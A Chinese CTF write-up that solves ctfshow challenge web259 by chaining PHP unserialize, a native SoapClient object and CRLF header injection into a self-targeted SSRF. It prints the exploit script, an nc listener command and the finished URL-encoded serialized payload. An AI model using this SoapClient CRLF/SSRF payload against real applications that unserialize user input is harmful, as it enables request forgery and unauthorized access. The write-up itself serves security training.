【靶场】ctfshow 详解web259原生类反序列化

作者 Yuppie001
作者主页 传送
本文专栏 Web漏洞篇
🌟🌟🌟🌟🌟🌟🌟🌟

web259题目如下:
flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

观察代码部分:
接受get传参的vip并进行反序列化

$vip = unserialize($_GET['vip']);

调用vip对象的getflag方法

$vip->getFlag();

    源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。

    这里观察代码明显发现并没有相关显式的类可以利用,所以想到利用原生类进行反序列化利用。
利用下面的脚本来查看当前环境存在的可利用的原生类:

记得将相应模块配置开关打开

<?php
class MyClass {
    public function __toString() {
        return "MyClass instance";
    }

    public function __get($name) {
        return $this->$name;
    }
}
//get_declared_classes()获取当前php脚本中所有已声明的类
//这里的当前php脚本指的是当前运行的这个脚本文件么?包含其他文件么? 已经声明的类是什么意思,是已经存在的么?
$classes = get_declared_classes();
//这个循环遍历 $classes 数组中的每个类名
foreach ($classes as $class) {
    //获取当前类的所有定义的方法
    $methods = get_class_methods($class);
    //遍历所有的方法名
    foreach ($methods as $method) {
        //判断当前类中的方法是否存在指定的魔术方法数组中
        if (in_array($method, array(
            // '__destruct',
            // '__toString',
            // '__wakeup',
            '__call',
            // '__callStatic',
            // '__get',
            // '__set',
            // '__isset',
            // '__unset',
            // '__invoke',
            // '__set_state'
        ))) {
            // Print each class::method on a new line
            echo $class . '::' . $method . "<br>\n"; // For HTML output
            // echo $class . '::' . $method . "\n"; // For plain text output
        }
    }
}

?>

存在SoapClient原生类
在这里插入图片描述
SoapClient原生类

Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务

开发的应用:
    在编程中,假设你用 PHP 写了一个网站,需要从另外一个服务器获取一些信息(比如天气预报),而这个服务器使用的是一种叫做 SOAP 的协议。PHP 不能直接理解 SOAP 协议的数据,就像你不能直接听懂外国语言一样。这时候,Sopaclient 就起到了翻译工具的作用。

  • 请求翻译:Sopaclient 把你用 PHP 语言写的请求翻译成服务器能理解的 SOAP 请求。

因为SOAP是基于 XML 的协议,所以SoapClient会将php请求数据转换为xml格式.
示例:

//创建 SoapClient 实例:
$client = new SoapClient("http://example.com/weather?wsdl");
//调用远程方法:
$response = $client->getCurrentWeather(array("city" => "Beijing"));

将php数据进行“翻译”,格式可能是这样(xml):

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wea="http://example.com/weather">
   <soapenv:Header/>
   <soapenv:Body>
      <wea:getCurrentWeather>
         <wea:city>Beijing</wea:city>
      </wea:getCurrentWeather>
   </soapenv:Body>
</soapenv:Envelope>

  • 响应翻译:服务器返回的 SOAP 响应,Sopaclient 再把它翻译成 PHP 能理解的数据。
<?php
// 创建一个新的 SoapClient 实例,传入 WSDL 文件的 URL
$client = new SoapClient("http://example.com/weather?wsdl");

// 调用远程的 SOAP 方法,比如“getCurrentWeather”,传入所需参数
$response = $client->getCurrentWeather(array("city" => "Beijing"));

// 输出结果
print_r($response);
?>

介绍完SoapClient后接下来回归题目:
    从服务器中获取HTTP_X_FORWARDED_FOR头部并分割为数组,并移除最后一个元素两次,这实际上将$ip设置为原始列表中倒数第二个IP地址。

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

    观察flag.php我们发现需要使得我们的ip为127.0.0.1并且满足token等于ctfshow时会将将$flag变量写入到’flag.txt’文件中。

if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

所以我们需要利用SoapClient原生类来构造SSRF(用服务器本身请求服务器),并利用CRLF来构造数据包。

现在我们在本地测试:
    通过构造一个SOAP客户端,并调用了getFlag的远程SOAP服务方法,这个调用过程由PHP的__call魔术方法处理,负责发送SOAP请求并接收响应。

<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));
$client->getFlag();
?>

     uri是命名空间URI,它在SOAP消息中用于标识服务。URI通常不会指向实际的资源,而是用来标识命名空间。
    location是实际的服务端点URL,即SOAP请求将发送到的服务器地址。
nc监听:

nc -lvvp 9999

请求数据包:
在这里插入图片描述
接下来,由于ua头可控,所以我们通过 CRLF来进行数据包的构造:

<?php
$ua = "ceshi\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();
?>

nc监听:
    黄色部分为构造的数据包,因为 Content-Length的原因,所以后面的部分全部被忽略,真实有效的数据包为黄色部分
在这里插入图片描述
接下来我们进行构造payload:

<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

echo urlencode(serialize($client));
?>

输出:

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传入参数:
在这里插入图片描述
访问flag.txt,得到flag:
在这里插入图片描述

不知道大家看到这里有没有疑惑,为什么构造的数据包并没有xff头但能够正确识别ip为127.0.0.1,这是为什么呢?

  • 以下是个人的推测:

通过查看网站的配置发现为 nginx
在这里插入图片描述
    在 Nginx 中配置了相关设置后,即使客户端发送的数据包中没有 X-Forwarded-For 头部,服务器也会默认追加该头部。这解释了为什么直接访问 flag.php 时,即使请求中没有 X-Forwarded-For 头部,服务器仍然会输出 “your IP is not 127.0.0.1”。
    这是因为服务器在处理请求时,由代理服务器自动添加了 X-Forwarded-For 头部,用于记录客户端的真实 IP 地址。


    当然,这道题也可以不用反序列化来做,直接访问bp进行抓包,添加对应的xff头和相应数据块即可获得flag
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值